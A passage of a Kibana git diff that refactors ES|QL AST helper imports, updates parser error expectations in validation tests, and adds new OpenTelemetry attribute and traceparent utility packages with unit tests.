'../ast/is'; import type { ESQLAstBaseItem, ESQLAstQueryExpression } from '../types'; import { CommandOptionVisitorContext, diff --git a/src/platform/packages/shared/kbn-esql-ast/src/synth/__tests__/expr_function.test.ts b/src/platform/packages/shared/kbn-esql-ast/src/synth/__tests__/expr_function.test.ts index 0295f6f11fa30..871b4a014515d 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/synth/__tests__/expr_function.test.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/synth/__tests__/expr_function.test.ts @@ -111,7 +111,7 @@ describe('can generate various expression types', () => { ['assignment expression', 'bytes_transform = ROUND(total_bytes / 1000000.0, 1)'], [ 'assignment with time intervals', - 'key = CASE(timestamp < (t - 1 hour) AND timestamp > (t - 2 hour), "Last hour", "Other")', + 'key = CASE(timestamp < t - 1 hour AND timestamp > t - 2 hour, "Last hour", "Other")', ], [ 'assignment with casts', diff --git a/src/platform/packages/shared/kbn-esql-ast/src/types.ts b/src/platform/packages/shared/kbn-esql-ast/src/types.ts index 63cbc08b6c473..b66cc9fb139a5 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/types.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/types.ts @@ -225,7 +225,8 @@ export type BinaryExpressionOperator = | BinaryExpressionRenameOperator | BinaryExpressionWhereOperator | BinaryExpressionMatchOperator - | BinaryExpressionIn; + | BinaryExpressionIn + | BinaryExpressionLogical; export type BinaryExpressionArithmeticOperator = '+' | '-' | '*' | '/' | '%'; export type BinaryExpressionAssignmentOperator = '='; @@ -235,6 +236,7 @@ export type BinaryExpressionRenameOperator = 'as'; export type BinaryExpressionWhereOperator = 'where'; export type BinaryExpressionMatchOperator = ':'; export type BinaryExpressionIn = 'in' | 'not in'; +export type BinaryExpressionLogical = 'and' | 'or'; // from https://github.com/elastic/elasticsearch/blob/122e7288200ee03e9087c98dff6cebbc94e774aa/docs/reference/esql/functions/kibana/inline_cast.json export type InlineCastingType = diff --git a/src/platform/packages/shared/kbn-esql-ast/src/visitor/contexts.ts b/src/platform/packages/shared/kbn-esql-ast/src/visitor/contexts.ts index 3fc5e22b60893..4b94fe653ecd2 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/visitor/contexts.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/visitor/contexts.ts @@ -49,7 +49,7 @@ import type { VisitorOutput, } from './types'; import { Builder } from '../builder'; -import { isProperNode } from '../ast/helpers'; +import { isProperNode } from '../ast/is'; export class VisitorContext< Methods extends VisitorMethods = VisitorMethods, diff --git a/src/platform/packages/shared/kbn-esql-ast/src/walker/__tests__/walker_all_nodes.test.ts b/src/platform/packages/shared/kbn-esql-ast/src/walker/__tests__/walker_all_nodes.test.ts index db9f1154b487d..b8fe005b3d33c 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/walker/__tests__/walker_all_nodes.test.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/walker/__tests__/walker_all_nodes.test.ts @@ -11,7 +11,7 @@ import { EsqlQuery } from '../../query'; import * as fixtures from '../../__tests__/fixtures'; import { Walker } from '../walker'; import { ESQLAstExpression, ESQLProperNode } from '../../types'; -import { isProperNode } from '../../ast/helpers'; +import { isProperNode } from '../../ast/is'; interface JsonWalkerOptions { visitObject?: (node: Record) => void; diff --git a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/autocomplete/autocomplete.ts b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/autocomplete/autocomplete.ts index 662ea7a715b15..392159216dc9f 100644 --- a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/autocomplete/autocomplete.ts +++ b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/autocomplete/autocomplete.ts @@ -16,9 +16,9 @@ import { type ESQLFunction, type ESQLSingleAstItem, Walker, + isList, } from '@kbn/esql-ast'; import { type ESQLControlVariable, ESQLVariableType } from '@kbn/esql-types'; -import { isList } from '@kbn/esql-ast/src/ast/helpers'; import { isNumericType } from '../shared/esql_types'; import type { EditorContext, ItemKind, SuggestionRawDefinition, GetColumnsByTypeFn } from './types'; import { diff --git a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/shared/context.ts b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/shared/context.ts index f49e9ddca814b..c5be4aeaab490 100644 --- a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/shared/context.ts +++ b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/shared/context.ts @@ -11,13 +11,13 @@ import { ESQLCommandOption, Walker, isIdentifier, + isList, type ESQLAst, type ESQLAstItem, type ESQLCommand, type ESQLFunction, type ESQLSingleAstItem, } from '@kbn/esql-ast'; -import { isList } from '@kbn/esql-ast/src/ast/helpers'; import { ESQLAstExpression } from '@kbn/esql-ast/src/types'; import { FunctionDefinitionTypes } from '../definitions/types'; import { EDITOR_MARKER } from './constants'; diff --git a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/__tests__/test_suites/validation.command.from.ts b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/__tests__/test_suites/validation.command.from.ts index 427d92718f899..6f831332caea9 100644 --- a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/__tests__/test_suites/validation.command.from.ts +++ b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/__tests__/test_suites/validation.command.from.ts @@ -18,7 +18,7 @@ export const validationFromCommandTestSuite = (setup: helpers.Setup) => { const { expectErrors } = await setup(); await expectErrors('f', [ - "SyntaxError: mismatched input 'f' expecting {'explain', 'row', 'from', 'show'}", + "SyntaxError: mismatched input 'f' expecting {'row', 'from', 'show'}", ]); await expectErrors('from ', [ "SyntaxError: mismatched input '' expecting {QUOTED_STRING, UNQUOTED_SOURCE}", diff --git a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/esql_validation_meta_tests.json b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/esql_validation_meta_tests.json index 632530c069726..a36efb5a6dc66 100644 --- a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/esql_validation_meta_tests.json +++ b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/esql_validation_meta_tests.json @@ -152,79 +152,85 @@ "testCases": [ { "query": "", - "error": [], + "error": [ + "SyntaxError: mismatched input '' expecting {'row', 'from', 'show'}" + ], "warning": [] }, { "query": " ", - "error": [], + "error": [ + "SyntaxError: mismatched input '' expecting {'row', 'from', 'show'}" + ], "warning": [] }, { "query": " ", - "error": [], + "error": [ + "SyntaxError: mismatched input '' expecting {'row', 'from', 'show'}" + ], "warning": [] }, { "query": "eval", "error": [ - "SyntaxError: mismatched input 'eval' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'eval' expecting {'row', 'from', 'show'}" ], "warning": [] }, { "query": "stats", "error": [ - "SyntaxError: mismatched input 'stats' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'stats' expecting {'row', 'from', 'show'}" ], "warning": [] }, { "query": "rename", "error": [ - "SyntaxError: mismatched input 'rename' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'rename' expecting {'row', 'from', 'show'}" ], "warning": [] }, { "query": "limit", "error": [ - "SyntaxError: mismatched input 'limit' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'limit' expecting {'row', 'from', 'show'}" ], "warning": [] }, { "query": "keep", "error": [ - "SyntaxError: mismatched input 'keep' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'keep' expecting {'row', 'from', 'show'}" ], "warning": [] }, { "query": "drop", "error": [ - "SyntaxError: mismatched input 'drop' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'drop' expecting {'row', 'from', 'show'}" ], "warning": [] }, { "query": "mv_expand", "error": [ - "SyntaxError: mismatched input 'mv_expand' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'mv_expand' expecting {'row', 'from', 'show'}" ], "warning": [] }, { "query": "dissect", "error": [ - "SyntaxError: mismatched input 'dissect' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'dissect' expecting {'row', 'from', 'show'}" ], "warning": [] }, { "query": "grok", "error": [ - "SyntaxError: mismatched input 'grok' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'grok' expecting {'row', 'from', 'show'}" ], "warning": [] }, @@ -9334,7 +9340,7 @@ { "query": "f", "error": [ - "SyntaxError: mismatched input 'f' expecting {'explain', 'row', 'from', 'show'}" + "SyntaxError: mismatched input 'f' expecting {'row', 'from', 'show'}" ], "warning": [] }, diff --git a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/function_validation.ts b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/function_validation.ts index f18f16153f1a7..85f5fb20130d3 100644 --- a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/function_validation.ts +++ b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/function_validation.ts @@ -7,9 +7,15 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { ESQLAstItem, ESQLCommand, ESQLFunction, ESQLMessage, isIdentifier } from '@kbn/esql-ast'; +import { + ESQLAstItem, + ESQLCommand, + ESQLFunction, + ESQLMessage, + isIdentifier, + isList, +} from '@kbn/esql-ast'; import { uniqBy } from 'lodash'; -import { isList } from '@kbn/esql-ast/src/ast/helpers'; import { isLiteralItem, isTimeIntervalItem, diff --git a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/validation.test.ts b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/validation.test.ts index 1c5ef5707b425..79acf8a99808b 100644 --- a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/validation.test.ts +++ b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/validation.test.ts @@ -263,19 +263,23 @@ describe('validation logic', () => { }, }); - // The following block tests a case that is allowed in Kibana - // by suppressing the parser error in src/platform/packages/shared/kbn-esql-ast/src/ast_parser.ts - describe('ESQL query can be empty', () => { - testErrorsAndWarnings('', []); - testErrorsAndWarnings(' ', []); - testErrorsAndWarnings(' ', []); + describe('ESQL query cannot be empty', () => { + testErrorsAndWarnings('', [ + "SyntaxError: mismatched input '' expecting {'row', 'from', 'show'}", + ]); + testErrorsAndWarnings(' ', [ + "SyntaxError: mismatched input '' expecting {'row', 'from', 'show'}", + ]); + testErrorsAndWarnings(' ', [ + "SyntaxError: mismatched input '' expecting {'row', 'from', 'show'}", + ]); }); describe('ESQL query should start with a source command', () => { ['eval', 'stats', 'rename', 'limit', 'keep', 'drop', 'mv_expand', 'dissect', 'grok'].map( (command) => testErrorsAndWarnings(command, [ - `SyntaxError: mismatched input '${command}' expecting {'explain', 'row', 'from', 'show'}`, + `SyntaxError: mismatched input '${command}' expecting {'row', 'from', 'show'}`, ]) ); }); diff --git a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/validation.ts b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/validation.ts index 2280ca3d531c6..1095430cb5576 100644 --- a/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/validation.ts +++ b/src/platform/packages/shared/kbn-esql-validation-autocomplete/src/validation/validation.ts @@ -194,8 +194,15 @@ async function validateAst( messages.push(...commandMessages); } + const parserErrors = parsingResult.errors; + + for (const error of parserErrors) { + error.message = error.message.replace(/\bLP\b/, "'('"); + error.message = error.message.replace(/\bOPENING_BRACKET\b/, "'['"); + } + return { - errors: [...parsingResult.errors, ...messages.filter(({ type }) => type === 'error')], + errors: [...parserErrors, ...messages.filter(({ type }) => type === 'error')], warnings: messages.filter(({ type }) => type === 'warning'), }; } diff --git a/src/platform/packages/shared/kbn-management/settings/setting_ids/index.ts b/src/platform/packages/shared/kbn-management/settings/setting_ids/index.ts index 4769049a09c8f..0b5ff35a3422c 100644 --- a/src/platform/packages/shared/kbn-management/settings/setting_ids/index.ts +++ b/src/platform/packages/shared/kbn-management/settings/setting_ids/index.ts @@ -169,6 +169,7 @@ export const SECURITY_SOLUTION_ENABLE_ASSET_INVENTORY_SETTING = 'securitySolution:enableAssetInventory' as const; export const SECURITY_SOLUTION_ENABLE_CLOUD_CONNECTOR_SETTING = 'securitySolution:enableCloudConnector' as const; +export const AI_ASSISTANT_PREFERRED_AI_ASSISTANT_TYPE = 'aiAssistant:preferredAIAssistantType'; // Timelion settings export const TIMELION_ES_DEFAULT_INDEX_ID = 'timelion:es.default_index'; diff --git a/src/platform/packages/shared/kbn-opentelemetry-attributes/README.md b/src/platform/packages/shared/kbn-opentelemetry-attributes/README.md new file mode 100644 index 0000000000000..3622c6cb9d019 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/README.md @@ -0,0 +1,3 @@ +# @kbn/opentelemetry-attributes + +Contains common Elastic & Kibana-specific attributes and metric names for OpenTelemetry instrumentation. diff --git a/src/platform/packages/shared/kbn-opentelemetry-attributes/index.ts b/src/platform/packages/shared/kbn-opentelemetry-attributes/index.ts new file mode 100644 index 0000000000000..736fa9f117b33 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/index.ts @@ -0,0 +1,12 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +export * from './src/attributes/tracing'; +export * from './src/resource_attributes'; +export * from './src/metrics'; diff --git a/src/platform/packages/shared/kbn-esql-ast/src/ast/util.ts b/src/platform/packages/shared/kbn-opentelemetry-attributes/jest.config.js similarity index 66% rename from src/platform/packages/shared/kbn-esql-ast/src/ast/util.ts rename to src/platform/packages/shared/kbn-opentelemetry-attributes/jest.config.js index 0cd94aba85cf1..4adcea9dfdfc3 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/ast/util.ts +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/jest.config.js @@ -7,8 +7,8 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { ESQLAstNode, ESQLCommandOption } from '../types'; - -export const isOptionNode = (node: ESQLAstNode): node is ESQLCommandOption => { - return !!node && typeof node === 'object' && !Array.isArray(node) && node.type === 'option'; +module.exports = { + preset: '@kbn/test/jest_node', + rootDir: '../../../../..', + roots: ['/src/platform/packages/shared/kbn-opentelemetry-attributes'], }; diff --git a/src/platform/packages/shared/kbn-opentelemetry-attributes/kibana.jsonc b/src/platform/packages/shared/kbn-opentelemetry-attributes/kibana.jsonc new file mode 100644 index 0000000000000..b16beef8bea07 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/kibana.jsonc @@ -0,0 +1,7 @@ +{ + "type": "shared-common", + "id": "@kbn/opentelemetry-attributes", + "owner": "@elastic/kibana-core", + "group": "platform", + "visibility": "shared" +} diff --git a/src/platform/packages/shared/kbn-opentelemetry-attributes/package.json b/src/platform/packages/shared/kbn-opentelemetry-attributes/package.json new file mode 100644 index 0000000000000..2c295f2a7a5af --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/package.json @@ -0,0 +1,6 @@ +{ + "name": "@kbn/opentelemetry-attributes", + "private": true, + "version": "1.0.0", + "license": "Elastic License 2.0 OR AGPL-3.0-only OR SSPL-1.0" +} \ No newline at end of file diff --git a/src/platform/packages/shared/kbn-opentelemetry-attributes/src/attributes/tracing.ts b/src/platform/packages/shared/kbn-opentelemetry-attributes/src/attributes/tracing.ts new file mode 100644 index 0000000000000..e1fe53e3712bd --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/src/attributes/tracing.ts @@ -0,0 +1,14 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +export const ATTR_TRANSACTION_NAME = 'transaction.name'; +export const ATTR_TRANSACTION_TYPE = 'transaction.type'; +export const ATTR_SPAN_TYPE = 'span.type'; +export const ATTR_SPAN_SUBTYPE = 'span.subtype'; +export const ATTR_SPAN_DESTINATION_SERVICE_RESOURCE = 'span.destination.service.resource'; diff --git a/src/platform/packages/shared/kbn-opentelemetry-attributes/src/metrics/index.ts b/src/platform/packages/shared/kbn-opentelemetry-attributes/src/metrics/index.ts new file mode 100644 index 0000000000000..771d29f5f1272 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/src/metrics/index.ts @@ -0,0 +1,11 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +export const METRIC_SPAN_SELF_TIME_COUNT = 'span.self_time.count'; +export const METRIC_SPAN_SELF_TIME_SUM_US = 'span.self_time.sum.us'; diff --git a/src/platform/packages/shared/kbn-opentelemetry-attributes/src/resource_attributes/index.ts b/src/platform/packages/shared/kbn-opentelemetry-attributes/src/resource_attributes/index.ts new file mode 100644 index 0000000000000..f6401c0c17bbc --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/src/resource_attributes/index.ts @@ -0,0 +1,11 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +export const ATTR_SERVICE_INSTANCE_ID = 'service.instance.id'; +export const ATTR_SERVICE_NAMESPACE = 'service.namespace'; diff --git a/src/platform/packages/shared/kbn-opentelemetry-attributes/tsconfig.json b/src/platform/packages/shared/kbn-opentelemetry-attributes/tsconfig.json new file mode 100644 index 0000000000000..7aba1b1a9378a --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-attributes/tsconfig.json @@ -0,0 +1,17 @@ +{ + "extends": "../../../../../tsconfig.base.json", + "compilerOptions": { + "outDir": "target/types", + "types": [ + "jest", + "node" + ] + }, + "include": [ + "**/*.ts", + ], + "exclude": [ + "target/**/*" + ], + "kbn_references": [] +} diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/README.md b/src/platform/packages/shared/kbn-opentelemetry-utils/README.md new file mode 100644 index 0000000000000..5adbd518fd3d8 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/README.md @@ -0,0 +1,3 @@ +# @kbn/opentelemetry-utils + +Contains utility functions for OpenTelemetry APIs. diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/index.ts b/src/platform/packages/shared/kbn-opentelemetry-utils/index.ts new file mode 100644 index 0000000000000..0f3a872018c65 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/index.ts @@ -0,0 +1,13 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +export { flattenToAttributes } from './src/flatten_to_attributes'; +export { unflattenAttributes } from './src/unflatten_attributes'; +export { toTraceparent } from './src/to_traceparent'; +export { fromTraceparent } from './src/from_traceparent'; diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/jest.config.js b/src/platform/packages/shared/kbn-opentelemetry-utils/jest.config.js new file mode 100644 index 0000000000000..98ad796f6ff93 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/jest.config.js @@ -0,0 +1,14 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +module.exports = { + preset: '@kbn/test/jest_node', + rootDir: '../../../../..', + roots: ['/src/platform/packages/shared/kbn-opentelemetry-utils'], +}; diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/kibana.jsonc b/src/platform/packages/shared/kbn-opentelemetry-utils/kibana.jsonc new file mode 100644 index 0000000000000..b8bf8d9a9858a --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/kibana.jsonc @@ -0,0 +1,7 @@ +{ + "type": "shared-common", + "id": "@kbn/opentelemetry-utils", + "owner": "@elastic/kibana-core", + "group": "platform", + "visibility": "shared" +} diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/package.json b/src/platform/packages/shared/kbn-opentelemetry-utils/package.json new file mode 100644 index 0000000000000..1f5e347dcc11a --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/package.json @@ -0,0 +1,6 @@ +{ + "name": "@kbn/opentelemetry-utils", + "private": true, + "version": "1.0.0", + "license": "Elastic License 2.0 OR AGPL-3.0-only OR SSPL-1.0" +} \ No newline at end of file diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/src/flatten_to_attributes.test.ts b/src/platform/packages/shared/kbn-opentelemetry-utils/src/flatten_to_attributes.test.ts new file mode 100644 index 0000000000000..2f008e31a5055 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/src/flatten_to_attributes.test.ts @@ -0,0 +1,52 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { flattenToAttributes } from './flatten_to_attributes'; + +describe('flattenToAttributes', () => { + it('flattens a nested object with primitives correctly', () => { + const input = { + user: { + id: 1, + info: { + name: 'bob', + active: true, + }, + }, + version: '1.0.0', + }; + + const expected = { + 'user.id': 1, + 'user.info.name': 'bob', + 'user.info.active': true, + version: '1.0.0', + }; + + expect(flattenToAttributes(input)).toEqual(expected); + }); + + it('flattens arrays and deeply-nested structures', () => { + const input = { + arr: [1, 2], + complex: { + nestedArr: [{ label: 'a' }, { label: 'b' }], + }, + }; + + const expected = { + 'arr.0': 1, + 'arr.1': 2, + 'complex.nestedArr.0.label': 'a', + 'complex.nestedArr.1.label': 'b', + }; + + expect(flattenToAttributes(input)).toEqual(expected); + }); +}); diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/src/flatten_to_attributes.ts b/src/platform/packages/shared/kbn-opentelemetry-utils/src/flatten_to_attributes.ts new file mode 100644 index 0000000000000..f15d4c47bfd7b --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/src/flatten_to_attributes.ts @@ -0,0 +1,32 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { Attributes } from '@opentelemetry/api'; +import { isArray, isPlainObject } from 'lodash'; + +/** + * Flattens a structured object in a way that is consistent with + * how OpenTelemetry defines {@link Attributes} + */ +export function flattenToAttributes(obj: Record, parentKey: string = ''): Attributes { + const result: Attributes = {}; + + for (const key in obj) { + if (Object.hasOwn(obj, key)) { + const value = obj[key]; + const newKey = parentKey ? `${parentKey}.${key}` : key; + if (isPlainObject(value) || isArray(value)) { + Object.assign(result, flattenToAttributes(value, newKey)); + } else { + result[newKey] = value; + } + } + } + return result; +} diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/src/from_traceparent.ts b/src/platform/packages/shared/kbn-opentelemetry-utils/src/from_traceparent.ts new file mode 100644 index 0000000000000..3498e933b8d01 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/src/from_traceparent.ts @@ -0,0 +1,49 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ +import { SpanContext, TraceFlags } from '@opentelemetry/api'; + +// W3C Trace Context header regex (case-insensitive) +// version 2 hex, trace-id 32 hex, span-id 16 hex, flags 2 hex +const TRACEPARENT_REGEX = /^[0-9a-f]{2}-[0-9a-f]{32}-[0-9a-f]{16}-[0-9a-f]{2}$/i; + +// Helpers to check if ID is not all zeros (spec prohibits all-zero ids) +const isAllZeros = (str: string) => /^0+$/.test(str); + +export function fromTraceparent(traceparent: string): SpanContext | undefined { + if (!traceparent) { + return undefined; + } + + const header = traceparent.trim(); + + if (!TRACEPARENT_REGEX.test(header)) { + return undefined; + } + + const [version, traceId, spanId, flags] = header.split('-'); + + // Reject all-zero trace/span IDs per spec + if (isAllZeros(traceId) || isAllZeros(spanId)) { + return undefined; + } + + // Currently we only support version 00. Future versions are ignored per spec (forward compatibility) + if (version !== '00' && version.toLowerCase() !== '00') { + return undefined; + } + + const traceFlags = parseInt(flags, 16) as TraceFlags; + + return { + traceId, + spanId, + traceFlags, + isRemote: true, + }; +} diff --git a/src/platform/packages/shared/kbn-esql-ast/src/ast/constants.ts b/src/platform/packages/shared/kbn-opentelemetry-utils/src/is_span_sampled.ts similarity index 67% rename from src/platform/packages/shared/kbn-esql-ast/src/ast/constants.ts rename to src/platform/packages/shared/kbn-opentelemetry-utils/src/is_span_sampled.ts index d5c027114e845..ecee209b34b71 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/ast/constants.ts +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/src/is_span_sampled.ts @@ -7,14 +7,9 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -/** - * The group name of a binary expression. Groups are ordered by precedence. - */ -export enum BinaryExpressionGroup { - unknown = 0, - additive = 10, - multiplicative = 20, - assignment = 30, - comparison = 40, - regex = 50, +import { TraceFlags } from '@opentelemetry/api'; + +export function isSpanSampled(traceFlags: TraceFlags) { + // eslint-disable-next-line no-bitwise + return (traceFlags & TraceFlags.SAMPLED) === TraceFlags.SAMPLED; } diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/src/to_traceparent.ts b/src/platform/packages/shared/kbn-opentelemetry-utils/src/to_traceparent.ts new file mode 100644 index 0000000000000..a84e6b1ec7a07 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/src/to_traceparent.ts @@ -0,0 +1,15 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { SpanContext } from '@opentelemetry/api'; + +export function toTraceparent(sc: SpanContext): string { + const flags = sc.traceFlags.toString(16).padStart(2, '0'); + return `00-${sc.traceId}-${sc.spanId}-${flags}`; +} diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/src/unflatten_attributes.test.ts b/src/platform/packages/shared/kbn-opentelemetry-utils/src/unflatten_attributes.test.ts new file mode 100644 index 0000000000000..c9b8e782be561 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/src/unflatten_attributes.test.ts @@ -0,0 +1,63 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { flattenToAttributes } from './flatten_to_attributes'; +import { unflattenAttributes } from './unflatten_attributes'; + +describe('unflattenAttributes', () => { + it('reconstructs the original object from a flattened representation', () => { + const original = { + user: { + id: 1, + tags: ['a', 'b'], + }, + enabled: false, + }; + + const flattened = flattenToAttributes(original); + const unflattened = unflattenAttributes(flattened); + + expect(unflattened).toEqual(original); + }); + + it('creates arrays when numeric segments are present', () => { + const flat = { + 'items.0.name': 'one', + 'items.1.name': 'two', + }; + + const expected = { + items: [{ name: 'one' }, { name: 'two' }], + }; + + expect(unflattenAttributes(flat)).toEqual(expected); + }); + + it('overwrites conflicting keys in order of source keys', () => { + const flatFirst = { + user: 'foo', + 'user.bar': 'baz', + }; + + const flatSecond = { + 'user.bar': 'baz', + user: 'foo', + }; + + expect(unflattenAttributes(flatFirst)).toEqual({ + user: { + bar: 'baz', + }, + }); + + expect(unflattenAttributes(flatSecond)).toEqual({ + user: 'foo', + }); + }); +}); diff --git 